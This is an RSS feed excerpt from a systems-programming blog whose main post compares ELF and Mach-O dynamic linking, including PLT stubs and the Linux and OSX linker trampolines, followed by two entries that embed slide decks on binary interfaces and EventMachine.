		<category><![CDATA[linux]]></category>
		<category><![CDATA[osx]]></category>
		<category><![CDATA[systems]]></category>
		<category><![CDATA[x86]]></category>
		<category><![CDATA[dynamic linking]]></category>
		<category><![CDATA[elf]]></category>
		<category><![CDATA[mach-o]]></category>
		<category><![CDATA[x86_64]]></category>

		<guid isPermaLink="false">http://timetobleed.com/?p=1613</guid>
		<description><![CDATA[If you enjoy this article, subscribe (via RSS or e-mail) and follow me on twitter. The intention of this post is to highlight some of the similarities and differences between ELF and Mach-O dynamic linking that I encountered while building memprof. I hope to write more posts about similarities and differences in other aspects of [...]]]></description>
			<content:encoded><![CDATA[<p><center><img src="http://timetobleed.com/images/linking.jpg" alt="" width="400" height="300" /></center><br />
If you enjoy this article, <a rel="alternate" type="application/rss+xml" href="http://feeds.feedburner.com/TimeToBleed">subscribe (via RSS or e-mail)</a> and <a href="http://twitter.com/joedamato">follow me on twitter.</a></p>
<p>The intention of this post is to highlight <b>some</b> of the similarities and differences between <code>ELF</code> and <code>Mach-O</code> dynamic linking that I encountered while building <a href="http://github.com/ice799/memprof">memprof</a>.</p>
<p> I hope to write <b>more posts about similarities and differences in other aspects of Mach-O and ELF</b> that I stumbled across to shed some light on what goes on down there and provide (in some cases) the only documentation.</p>
<h2>Procedure Linkage Table</h2>
<p>The procedure linkage table (PLT) is used to determine the absolute address of a function at runtime. Both Mach-O and ELF objects have PLTs that are generated at compile time. The initial table simply invokes the dynamic linker which finds the symbol you want. The way this works is very similar at a high level in ELF and Mach-O, but there are some implementation differences that I thought were worth mentioning.</p>
<h2>Mach-O PLT arrangement</h2>
<p>Mach-O objects have several different sections across different <i>segments</i> that are all involved to create a PLT entry for a specific symbol.</p>
<p>Consider the following assembly stub which calls out to the PLT entry for <code>malloc</code>:</p>
<pre class="prettyprint">
# MACH-O calling a PLT entry (ELF is nearly identical)
0x000000010008c504 [str_new+52]:	callq  0x10009ebbc [dyld_stub_malloc]
</pre>
<p>
<p>The <code>dyld_stub</code> prefix is added by GDB to let the user know that the <code>callq</code> instruction is calling a PLT entry and not <code>malloc</code> itself. The address <code>0x10009ebbc</code> is the first instruction of <code>malloc</code>&#8216;s PLT entry in this Mach-O object. In Mach-O terminology, the instruction at <code>0x10009ebbc</code> is called a <b>symbol stub</b>. Symbol stubs in Mach-O objects are found in the <code>__TEXT</code> segment in the <code>__symbol_stub1</code> section.</p>
<p>Let&#8217;s examine some instructions at the symbol stub address above:</p>
<pre class="prettyprint">
# MACH-O "symbol stubs" for malloc and other functions
0x10009ebbc [dyld_stub_malloc]:	  jmpq   *0x3ae46(%rip)        # 0x1000d9a08
0x10009ebc2 [dyld_stub_realloc]:  jmpq   *0x3ae48(%rip)        # 0x1000d9a10
0x10009ebc8 [dyld_stub_seekdir$INODE64]:	jmpq   *0x3ae4c(%rip)  # 0x1000d9a20
. . . .
</pre>
<p></p>
<p>Each Mach-O <b>symbol stub</b> is just a single <code>jmpq</code> instruction. That <code>jmpq</code> instruction either:</p>
<ul>
<li>Invokes the dynamic linker to find the symbol and transfer execution there</li>
<p><b><u>OR</u></b></p>
<li>Transfers execution directly to the function.</li>
</ul>
<p><i>via</i> an entry in a table. </p>
<p>In the example above, GDB is telling us that the address of the table entry for <code>malloc</code> is <code>0x1000d9a08</code>. This table entry is stored in a section called the <code>__la_symbol_ptr</code> within the <code>__DATA</code> segment.</p>
<p>Before malloc has been resolved, the address in that table entry points to a helper function which (eventually) invokes the dynamic linker to find <code>malloc</code> and fill in its address in the table entry.</p>
<p>Let&#8217;s take a look at what a few entries of the helper functions look like:</p>
<pre class="prettyprint">
# MACH-O stub helpers
0x1000a08d4 [stub helpers+6986]:	pushq  $0x3b73
0x1000a08d9 [stub helpers+6991]:	jmpq   0x10009ed8a [stub helpers]
0x1000a08de [stub helpers+6996]:	pushq  $0x3b88
0x1000a08e3 [stub helpers+7001]:	jmpq   0x10009ed8a [stub helpers]
0x1000a08e8 [stub helpers+7006]:	pushq  $0x3b9e
0x1000a08ed [stub helpers+7011]:	jmpq   0x10009ed8a [stub helpers]
. . . .
</pre>
</p>
<p>Each symbol that has a PLT entry has 2 instructions above; a pair of <code>pushq</code> and <code>jmpq</code>. This instruction sequence sets an ID for the desired function and then invokes the dynamic linker. The dynamic linker looks up this ID so it knows which function it should be looking for.</p>
<h2>ELF PLT arrangement</h2>
<p>ELF objects have the same mechanism, but organize each PLT entry into chunks instead of splicing them out across different sections. Let&#8217;s take a look at a PLT entry for malloc in an ELF object:</p>
<pre class="prettyprint">
# ELF complete PLT entry for malloc
0x40f3d0 [malloc@plt]:	jmpq   *0x2c91fa(%rip)        # 0x6d85d0
0x40f3d6 [malloc@plt+6]:	pushq  $0x2f
0x40f3db [malloc@plt+11]:	jmpq   0x40f0d0
. . . .
</pre>
<p></p>
<p>Much like a Mach-O object, an ELF object uses a table entry to direct the flow of execution to either invoke the dynamic linker or transfer directly to the desired function if it has already been resolved.</p>
<p>Two differences to point out here: </p>
<ol>
<li>ELF puts the entire PLT entry together in nicely named section called <code>plt</code> instead of splicing it out across multiple sections.</li>
<li>The table entries indirected through with the initial <code>jmpq</code> instruction are stored in a section named: <code>.got.plt</code>.</li>
</ol>
<h2>Both invoke an assembly trampoline&#8230;</h2>
<p>Both Mach-O and ELF objects are set up to invoke the runtime dynamic linker. Both need an assembly trampoline to bridge the gap between the application and the linker. On 64bit Intel based systems, linkers in both systems must comply to the same Application Binary Interace (ABI).</p>
<p><b>Strangely enough</b>, the two linkers <b>have slightly different assembly trampolines even though they share the same calling convention<sup>1</sup>  <sup>2</sup>.</b></p>
<p>Both trampolines ensure that the program stack is 16-byte aligned to comply with the amd64 ABI&#8217;s calling convention. Both trampolines also take care to save the &#8220;general purpose&#8221; caller-saved registers prior to invoking the dynamic link, but it turns out that the trampoline in Linux <b>does not save or restore the SSE registers.</b> It turns out that this &#8220;shouldn&#8217;t&#8221; matter, so long as glibc takes care not to use any of those registers in the dynamic linker. OSX takes a more conservative approach and saves and restores the SSE registers before and after calling out the dynamic linker.</p>
<p>I&#8217;ve included a snippet from the two trampolines below and some comments so you can see the differences up close.</p>
<h2>Different trampolines for the same ABI</h2>
<p>The OSX trampoline:</p>
<pre class="prettyprint">
dyld_stub_binder:
  pushq   %rbp
  movq    %rsp,%rbp
  subq    $STACK_SIZE,%rsp  # at this point stack is 16-byte aligned because two meta-parameters where pushed
  movq    %rdi,RDI_SAVE(%rsp) # save registers that might be used as parameters
  movq    %rsi,RSI_SAVE(%rsp)
  movq    %rdx,RDX_SAVE(%rsp)
  movq    %rcx,RCX_SAVE(%rsp)
  movq    %r8,R8_SAVE(%rsp)
  movq    %r9,R9_SAVE(%rsp)
  movq    %rax,RAX_SAVE(%rsp)
  movdqa    %xmm0,XMMM0_SAVE(%rsp)
  movdqa    %xmm1,XMMM1_SAVE(%rsp)
  movdqa    %xmm2,XMMM2_SAVE(%rsp)
  movdqa    %xmm3,XMMM3_SAVE(%rsp)
  movdqa    %xmm4,XMMM4_SAVE(%rsp)
  movdqa    %xmm5,XMMM5_SAVE(%rsp)
  movdqa    %xmm6,XMMM6_SAVE(%rsp)
  movdqa    %xmm7,XMMM7_SAVE(%rsp)
  movq    MH_PARAM_BP(%rbp),%rdi  # call fastBindLazySymbol(loadercache, lazyinfo)
  movq    LP_PARAM_BP(%rbp),%rsi
  call    __Z21_dyld_fast_stub_entryPvl
</pre>
</p>
<p>The OSX trampoline saves all the caller saved registers <b>as well as</b> the the <code>%xmm0 - %xmm7</code> registers prior to invoking the dynamic linker with that last call instruction. These registers are all restored after the call instruction, but I left that out for the sake of brevity.</p>
<p>The Linux trampoline:</p>
<pre class="prettyprint">
  subq $56,%rsp
  cfi_adjust_cfa_offset(72) # Incorporate PLT
  movq %rax,(%rsp)  # Preserve registers otherwise clobbered.
  movq %rcx, 8(%rsp)
  movq %rdx, 16(%rsp)
  movq %rsi, 24(%rsp)
  movq %rdi, 32(%rsp)
  movq %r8, 40(%rsp)
  movq %r9, 48(%rsp)
  movq 64(%rsp), %rsi # Copy args pushed by PLT in register.
  movq %rsi, %r11   # Multiply by 24
  addq %r11, %rsi
  addq %r11, %rsi
  shlq $3, %rsi
  movq 56(%rsp), %rdi # %rdi: link_map, %rsi: reloc_offset
  call _dl_fixup    # Call resolver.
</pre>
</p>
<p>The Linux trampoline doesn&#8217;t touch the SSE registers because it assumes that the dynamic linker will not modify them thus avoiding a save and restore.</p>
<h2>Conclusion</h2>
<ul>
<li>Tracing program execution from call site to the dynamic linker is pretty interesting and there is a lot to learn along the way.</li>
<li>glibc not saving and restoring <code>%xmm0-%xmm7</code> kind of scares me, but there is a unit test included that disassembles the built ld.so searching it to make sure that those registers are never touched. It is still a bit frightening.</li>
<li>Stay tuned for more posts explaining other interesting similarities and differences between Mach-O and ELF coming soon.</li>
</ul>
<p>Thanks for reading and don&#8217;t forget to <a rel="alternate" type="application/rss+xml" href="http://feeds.feedburner.com/TimeToBleed">subscribe (via RSS or e-mail)</a> and <a href="http://twitter.com/joedamato">follow me on twitter.</a></p>
<h2>References</h2>
<ol class="footnotes"><li id="footnote_0_1613" class="footnote"><a href="http://developer.apple.com/mac/library/documentation/DeveloperTools/Conceptual/LowLevelABI/140-x86-64_Function_Calling_Conventions/x86_64.html#//apple_ref/doc/uid/TP40005035-SW1">http://developer.apple.com/mac/library/documentation/DeveloperTools/Conceptual/LowLevelABI/140-x86-64_Function_Calling_Conventions/x86_64.html#//apple_ref/doc/uid/TP40005035-SW1</a></li><li id="footnote_1_1613" class="footnote"><a href="http://www.x86-64.org/documentation/abi.pdf">http://www.x86-64.org/documentation/abi.pdf</a></li></ol>]]></content:encoded>
			<wfw:commentRss>http://timetobleed.com/dynamic-linking-elf-vs-mach-o/feed/</wfw:commentRss>
		<slash:comments>28</slash:comments>
		</item>
		<item>
		<title>Descent into Darkness: Understanding your system&#8217;s binary interface is the only way out</title>
		<link>http://timetobleed.com/descent-into-darkness-understanding-your-systems-binary-interface-is-the-only-way-out/</link>
		<comments>http://timetobleed.com/descent-into-darkness-understanding-your-systems-binary-interface-is-the-only-way-out/#comments</comments>
		<pubDate>Mon, 15 Mar 2010 19:11:19 +0000</pubDate>
		<dc:creator>Joe Damato</dc:creator>
				<category><![CDATA[bugfix]]></category>
		<category><![CDATA[debugging]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[ruby]]></category>
		<category><![CDATA[scaling]]></category>
		<category><![CDATA[systems]]></category>
		<category><![CDATA[x86]]></category>
		<category><![CDATA[debug]]></category>
		<category><![CDATA[garbage collection]]></category>
		<category><![CDATA[GC]]></category>
		<category><![CDATA[memory]]></category>
		<category><![CDATA[performance]]></category>
		<category><![CDATA[syscall]]></category>
		<category><![CDATA[x86_64]]></category>

		<guid isPermaLink="false">http://timetobleed.com/?p=1602</guid>
		<description><![CDATA[Download as PDF (3mb) Descent into Darkness: Understanding your system&#8217;s binary interface is the only way out.]]></description>
			<content:encoded><![CDATA[<p><a style="float:right" href="http://dl.dropbox.com/u/1681973/abi.pdf">Download as PDF (3mb)</a><br />
<a title="View Descent into Darkness: Understanding your system's binary interface is the only way out. on Scribd" href="http://www.scribd.com/doc/28264000/Descent-into-Darkness-Understanding-your-system-s-binary-interface-is-the-only-way-out" style="margin: 12px auto 6px auto; font-family: Helvetica,Arial,Sans-serif; font-style: normal; font-variant: normal; font-weight: normal; font-size: 14px; line-height: normal; font-size-adjust: none; font-stretch: normal; -x-system-font: none; display: block; text-decoration: underline;">Descent into Darkness: Understanding your system&#8217;s binary interface is the only way out.</a> <object id="doc_50009547124029" name="doc_50009547124029" height="600" width="100%" type="application/x-shockwave-flash" data="http://d1.scribdassets.com/ScribdViewer.swf" style="outline:none;" ><param name="movie" value="http://d1.scribdassets.com/ScribdViewer.swf"><param name="wmode" value="opaque"><param name="bgcolor" value="#ffffff"><param name="allowFullScreen" value="true"><param name="allowScriptAccess" value="always"><param name="FlashVars" value="document_id=28264000&#038;access_key=key-nywmlzldrcxb47d7tv9&#038;page=1&#038;viewMode=slideshow"><embed id="doc_50009547124029" name="doc_50009547124029" src="http://d1.scribdassets.com/ScribdViewer.swf?document_id=28264000&#038;access_key=key-nywmlzldrcxb47d7tv9&#038;page=1&#038;viewMode=slideshow" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" height="600" width="100%" wmode="opaque" bgcolor="#ffffff"></embed></object>	</p>
]]></content:encoded>
			<wfw:commentRss>http://timetobleed.com/descent-into-darkness-understanding-your-systems-binary-interface-is-the-only-way-out/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>EventMachine: scalable non-blocking i/o in ruby</title>
		<link>http://timetobleed.com/eventmachine-scalable-non-blocking-io-in-ruby/</link>
		<comments>http://timetobleed.com/eventmachine-scalable-non-blocking-io-in-ruby/#comments</comments>
		<pubDate>Fri, 12 Mar 2010 20:07:39 +0000</pubDate>
		<dc:creator>Aman Gupta</dc:creator>
				<category><![CDATA[linux]]></category>
		<category><![CDATA[ruby]]></category>
		<category><![CDATA[scaling]]></category>
		<category><![CDATA[systems]]></category>
		<category><![CDATA[x86]]></category>
		<category><![CDATA[performance]]></category>
		<category><![CDATA[x86_64]]></category>

		<guid isPermaLink="false">http://timetobleed.com/?p=1574</guid>
		<description><![CDATA[Download as PDF (40mb) EventMachine: scalable non-blocking i/o in ruby]]></description>
			<content:encoded><![CDATA[<p><a style="float:right" href="http://dl.dropbox.com/u/635/em_export.pdf">Download as PDF (40mb)</a><br />
<a title="View EventMachine: scalable non-blocking i/o in ruby on Scribd" href="http://www.scribd.com/doc/28253878/EventMachine-scalable-non-blocking-i-o-in-ruby" style="margin: 12px auto 6px auto; font-family: Helvetica,Arial,Sans-serif; font-style: normal; font-variant: normal; font-weight: normal; font-size: 14px; line-height: normal; font-size-adjust: none; font-stretch: normal; -x-system-font: none; display: block; text-decoration: underline;">EventMachine: scalable non-blocking i/o in ruby</a> <object id="doc_298923438833050" name="doc_298923438833050" height="600" width="100%" type="application/x-shockwave-flash" data="http://d1.scribdassets.com/ScribdViewer.swf" style="outline:none;" ><param name="movie" value="http://d1.scribdassets.com/ScribdViewer.swf"><param name="wmode" value="opaque"><param name="bgcolor" value="#ffffff"><param name="allowFullScreen" value="true"><param name="allowScriptAccess" value="always"><param name="FlashVars" value="document_id=28253878&#038;access_key=key-1rb2iijpl7bew7i1f04i&#038;page=1&#038;viewMode=slideshow"><embed id="doc_298923438833050" name="doc_298923438833050" src="http://d1.scribdassets.com/ScribdViewer.swf?document_id=28253878&#038;access_key=key-1rb2iijpl7bew7i1f04i&#038;page=1&#038;viewMode=slideshow" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" height="600" width="100%" wmode="opaque" bgcolor="#ffffff"></embed></object></p>
]]></content:encoded>
			<wfw:commentRss>http://timetobleed.com/eventmachine-scalable-non-blocking-io-in-ruby/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
	</channel>
</rss>

